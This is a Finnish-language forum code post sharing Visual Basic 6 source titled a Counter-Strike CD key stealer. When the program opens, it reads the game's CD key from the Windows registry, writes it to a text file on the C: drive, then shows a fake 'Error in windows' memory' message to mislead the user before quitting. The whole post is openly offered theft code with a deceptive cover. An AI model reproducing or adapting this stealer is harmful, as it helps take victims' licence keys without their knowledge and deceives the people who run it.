Keskustelu: Koodit: VB6: CS cdkey stealer

'Counter-Strike cdkey stealer by Bill 11.5.04
' _____   _____
'/ ____| / ___/
'| |     | |
'| |     \ \___
'| |      \__  |
'| |___   __/  /
'\_____| /____/

Dim cdkey As String
Private Sub Form_Load()
    cdkey = RegReadKey("HKCU\Software\Valve\CounterStrike\settings\key") 'cdkey on täällä
    tallenna 'tallentaa
    MsgBox "Error in #346097560456 at windows' memory", vbCritical, "Error" 'joku errori vaa :D
    End
End Sub
Public Function RegReadKey(osoite As String) As String 'tästä tää encryptaa-funktio
    Dim b As Object, r As String
    r = ""
    On Error GoTo errori
    Set b = CreateObject("wscript.shell") 'käytetään skriptejä
    r = b.RegRead(osoite) 'luetaan avain
errori:
    RegReadKey = r
End Function
Private Sub tallenna()
        Open "c:\errorihomma.txt" For Output As #1 'avataan tallennustiedosto
        Print #1, cdkey 'tallennetaan siihen cdkey
        Close #1 'suljetaan tiedosto
End Sub